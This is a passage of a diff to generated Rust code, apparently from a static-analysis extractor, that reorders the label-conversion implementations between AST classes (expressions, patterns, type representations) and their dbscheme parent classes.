-        // SAFETY: this is safe because in the dbscheme LiteralPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme LiteralPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6221,9 +6348,9 @@ impl From<trap::Label<LiteralPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<LiteralPat>> for trap::Label<Pat> {
+impl From<trap::Label<LiteralPat>> for trap::Label<Element> {
     fn from(value: trap::Label<LiteralPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme LiteralPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme LiteralPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6253,36 +6380,36 @@ impl trap::TrapClass for MacroExpr {
     fn class_name() -> &'static str { "MacroExpr" }
 }
 
-impl From<trap::Label<MacroExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<MacroExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<MacroExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme MacroExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroExpr>> for trap::Label<Element> {
+impl From<trap::Label<MacroExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<MacroExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MacroExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroExpr>> for trap::Label<Expr> {
+impl From<trap::Label<MacroExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MacroExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme MacroExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<MacroExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<MacroExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MacroExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6312,18 +6439,18 @@ impl trap::TrapClass for MacroPat {
     fn class_name() -> &'static str { "MacroPat" }
 }
 
-impl From<trap::Label<MacroPat>> for trap::Label<AstNode> {
+impl From<trap::Label<MacroPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<MacroPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme MacroPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroPat>> for trap::Label<Element> {
+impl From<trap::Label<MacroPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<MacroPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MacroPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6339,9 +6466,9 @@ impl From<trap::Label<MacroPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<MacroPat>> for trap::Label<Pat> {
+impl From<trap::Label<MacroPat>> for trap::Label<Element> {
     fn from(value: trap::Label<MacroPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme MacroPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6371,18 +6498,18 @@ impl trap::TrapClass for MacroTypeRepr {
     fn class_name() -> &'static str { "MacroTypeRepr" }
 }
 
-impl From<trap::Label<MacroTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<MacroTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<MacroTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme MacroTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<MacroTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<MacroTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MacroTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6398,9 +6525,9 @@ impl From<trap::Label<MacroTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<MacroTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<MacroTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<MacroTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme MacroTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6438,36 +6565,36 @@ impl trap::TrapClass for MatchExpr {
     fn class_name() -> &'static str { "MatchExpr" }
 }
 
-impl From<trap::Label<MatchExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<MatchExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<MatchExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme MatchExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MatchExpr>> for trap::Label<Element> {
+impl From<trap::Label<MatchExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<MatchExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MatchExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MatchExpr>> for trap::Label<Expr> {
+impl From<trap::Label<MatchExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MatchExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme MatchExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MatchExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<MatchExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<MatchExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MatchExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MatchExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6497,18 +6624,18 @@ impl trap::TrapClass for NameRef {
     fn class_name() -> &'static str { "NameRef" }
 }
 
-impl From<trap::Label<NameRef>> for trap::Label<AstNode> {
+impl From<trap::Label<NameRef>> for trap::Label<UseBoundGenericArg> {
     fn from(value: trap::Label<NameRef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme NameRef is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme NameRef is a subclass of UseBoundGenericArg
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<NameRef>> for trap::Label<Element> {
+impl From<trap::Label<NameRef>> for trap::Label<AstNode> {
     fn from(value: trap::Label<NameRef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme NameRef is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme NameRef is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6524,9 +6651,9 @@ impl From<trap::Label<NameRef>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<NameRef>> for trap::Label<UseBoundGenericArg> {
+impl From<trap::Label<NameRef>> for trap::Label<Element> {
     fn from(value: trap::Label<NameRef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme NameRef is a subclass of UseBoundGenericArg
+        // SAFETY: this is safe because in the dbscheme NameRef is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6552,18 +6679,18 @@ impl trap::TrapClass for NeverTypeRepr {
     fn class_name() -> &'static str { "NeverTypeRepr" }
 }
 
-impl From<trap::Label<NeverTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<NeverTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<NeverTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme NeverTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme NeverTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<NeverTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<NeverTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<NeverTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme NeverTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme NeverTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6579,9 +6706,9 @@ impl From<trap::Label<NeverTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<NeverTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<NeverTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<NeverTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme NeverTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme NeverTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6619,36 +6746,36 @@ impl trap::TrapClass for OffsetOfExpr {
     fn class_name() -> &'static str { "OffsetOfExpr" }
 }
 
-impl From<trap::Label<OffsetOfExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<OffsetOfExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<OffsetOfExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme OffsetOfExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme OffsetOfExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<OffsetOfExpr>> for trap::Label<Element> {
+impl From<trap::Label<OffsetOfExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<OffsetOfExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme OffsetOfExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme OffsetOfExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<OffsetOfExpr>> for trap::Label<Expr> {
+impl From<trap::Label<OffsetOfExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<OffsetOfExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme OffsetOfExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme OffsetOfExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<OffsetOfExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<OffsetOfExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<OffsetOfExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme OffsetOfExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme OffsetOfExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6678,18 +6805,18 @@ impl trap::TrapClass for OrPat {
     fn class_name() -> &'static str { "OrPat" }
 }
 
-impl From<trap::Label<OrPat>> for trap::Label<AstNode> {
+impl From<trap::Label<OrPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<OrPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme OrPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme OrPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<OrPat>> for trap::Label<Element> {
+impl From<trap::Label<OrPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<OrPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme OrPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme OrPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6705,9 +6832,9 @@ impl From<trap::Label<OrPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<OrPat>> for trap::Label<Pat> {
+impl From<trap::Label<OrPat>> for trap::Label<Element> {
     fn from(value: trap::Label<OrPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme OrPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme OrPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6745,18 +6872,18 @@ impl trap::TrapClass for Param {
     fn class_name() -> &'static str { "Param" }
 }
 
-impl From<trap::Label<Param>> for trap::Label<AstNode> {
+impl From<trap::Label<Param>> for trap::Label<ParamBase> {
     fn from(value: trap::Label<Param>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Param is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Param is a subclass of ParamBase
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Param>> for trap::Label<Element> {
+impl From<trap::Label<Param>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Param>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Param is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Param is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6772,9 +6899,9 @@ impl From<trap::Label<Param>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<Param>> for trap::Label<ParamBase> {
+impl From<trap::Label<Param>> for trap::Label<Element> {
     fn from(value: trap::Label<Param>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Param is a subclass of ParamBase
+        // SAFETY: this is safe because in the dbscheme Param is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6808,36 +6935,36 @@ impl trap::TrapClass for ParenExpr {
     fn class_name() -> &'static str { "ParenExpr" }
 }
 
-impl From<trap::Label<ParenExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<ParenExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<ParenExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ParenExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ParenExpr>> for trap::Label<Element> {
+impl From<trap::Label<ParenExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ParenExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ParenExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ParenExpr>> for trap::Label<Expr> {
+impl From<trap::Label<ParenExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<ParenExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme ParenExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ParenExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<ParenExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<ParenExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme ParenExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6867,18 +6994,18 @@ impl trap::TrapClass for ParenPat {
     fn class_name() -> &'static str { "ParenPat" }
 }
 
-impl From<trap::Label<ParenPat>> for trap::Label<AstNode> {
+impl From<trap::Label<ParenPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<ParenPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ParenPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ParenPat>> for trap::Label<Element> {
+impl From<trap::Label<ParenPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ParenPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ParenPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6894,9 +7021,9 @@ impl From<trap::Label<ParenPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<ParenPat>> for trap::Label<Pat> {
+impl From<trap::Label<ParenPat>> for trap::Label<Element> {
     fn from(value: trap::Label<ParenPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme ParenPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6926,18 +7053,18 @@ impl trap::TrapClass for ParenTypeRepr {
     fn class_name() -> &'static str { "ParenTypeRepr" }
 }
 
-impl From<trap::Label<ParenTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<ParenTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<ParenTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme ParenTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<ParenTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<ParenTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<ParenTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme ParenTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6953,9 +7080,9 @@ impl From<trap::Label<ParenTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<ParenTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<ParenTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<ParenTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme ParenTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme ParenTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6971,18 +7098,18 @@ impl trap::TrapClass for PathAstNode {
     fn class_name() -> &'static str { "PathAstNode" }
 }
 
-impl From<trap::Label<PathAstNode>> for trap::Label<AstNode> {
+impl From<trap::Label<PathAstNode>> for trap::Label<Resolvable> {
     fn from(value: trap::Label<PathAstNode>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathAstNode is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme PathAstNode is a subclass of Resolvable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathAstNode>> for trap::Label<Element> {
+impl From<trap::Label<PathAstNode>> for trap::Label<AstNode> {
     fn from(value: trap::Label<PathAstNode>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathAstNode is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme PathAstNode is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -6998,9 +7125,9 @@ impl From<trap::Label<PathAstNode>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<PathAstNode>> for trap::Label<Resolvable> {
+impl From<trap::Label<PathAstNode>> for trap::Label<Element> {
     fn from(value: trap::Label<PathAstNode>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathAstNode is a subclass of Resolvable
+        // SAFETY: this is safe because in the dbscheme PathAstNode is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7016,36 +7143,36 @@ impl trap::TrapClass for PathExprBase {
     fn class_name() -> &'static str { "PathExprBase" }
 }
 
-impl From<trap::Label<PathExprBase>> for trap::Label<AstNode> {
+impl From<trap::Label<PathExprBase>> for trap::Label<Expr> {
     fn from(value: trap::Label<PathExprBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExprBase is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme PathExprBase is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathExprBase>> for trap::Label<Element> {
+impl From<trap::Label<PathExprBase>> for trap::Label<AstNode> {
     fn from(value: trap::Label<PathExprBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExprBase is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme PathExprBase is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathExprBase>> for trap::Label<Expr> {
+impl From<trap::Label<PathExprBase>> for trap::Label<Locatable> {
     fn from(value: trap::Label<PathExprBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExprBase is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme PathExprBase is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathExprBase>> for trap::Label<Locatable> {
+impl From<trap::Label<PathExprBase>> for trap::Label<Element> {
     fn from(value: trap::Label<PathExprBase>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExprBase is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme PathExprBase is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7075,18 +7202,18 @@ impl trap::TrapClass for PathTypeRepr {
     fn class_name() -> &'static str { "PathTypeRepr" }
 }
 
-impl From<trap::Label<PathTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<PathTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<PathTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme PathTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<PathTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<PathTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme PathTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7102,9 +7229,9 @@ impl From<trap::Label<PathTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<PathTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<PathTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<PathTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme PathTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7142,36 +7269,36 @@ impl trap::TrapClass for PrefixExpr {
     fn class_name() -> &'static str { "PrefixExpr" }
 }
 
-impl From<trap::Label<PrefixExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<PrefixExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<PrefixExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PrefixExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme PrefixExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PrefixExpr>> for trap::Label<Element> {
+impl From<trap::Label<PrefixExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<PrefixExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PrefixExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme PrefixExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PrefixExpr>> for trap::Label<Expr> {
+impl From<trap::Label<PrefixExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<PrefixExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PrefixExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme PrefixExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PrefixExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<PrefixExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<PrefixExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PrefixExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme PrefixExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7209,18 +7336,18 @@ impl trap::TrapClass for PtrTypeRepr {
     fn class_name() -> &'static str { "PtrTypeRepr" }
 }
 
-impl From<trap::Label<PtrTypeRepr>> for trap::Label<AstNode> {
+impl From<trap::Label<PtrTypeRepr>> for trap::Label<TypeRepr> {
     fn from(value: trap::Label<PtrTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PtrTypeRepr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme PtrTypeRepr is a subclass of TypeRepr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PtrTypeRepr>> for trap::Label<Element> {
+impl From<trap::Label<PtrTypeRepr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<PtrTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PtrTypeRepr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme PtrTypeRepr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7236,9 +7363,9 @@ impl From<trap::Label<PtrTypeRepr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<PtrTypeRepr>> for trap::Label<TypeRepr> {
+impl From<trap::Label<PtrTypeRepr>> for trap::Label<Element> {
     fn from(value: trap::Label<PtrTypeRepr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PtrTypeRepr is a subclass of TypeRepr
+        // SAFETY: this is safe because in the dbscheme PtrTypeRepr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7280,36 +7407,36 @@ impl trap::TrapClass for RangeExpr {
     fn class_name() -> &'static str { "RangeExpr" }
 }
 
-impl From<trap::Label<RangeExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<RangeExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<RangeExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RangeExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme RangeExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RangeExpr>> for trap::Label<Element> {
+impl From<trap::Label<RangeExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<RangeExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RangeExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme RangeExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RangeExpr>> for trap::Label<Expr> {
+impl From<trap::Label<RangeExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<RangeExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RangeExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme RangeExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RangeExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<RangeExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<RangeExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RangeExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme RangeExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -7347,18 +7474,18 @@ impl trap::TrapClass for RangePat {
     fn class_name() -> &'static str { "RangePat" }
 }
 
-impl From<trap::Label<RangePat>> for trap::Label<AstNode> {
+impl From<trap::Label<RangePat>> for trap::Label<Pat> {
     fn from(value: trap::Label<RangePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RangePat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme RangePat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RangePat>> for trap::Label<Element> {
+impl From<trap::Label<RangePat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<RangePat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RangePat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme RangePat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
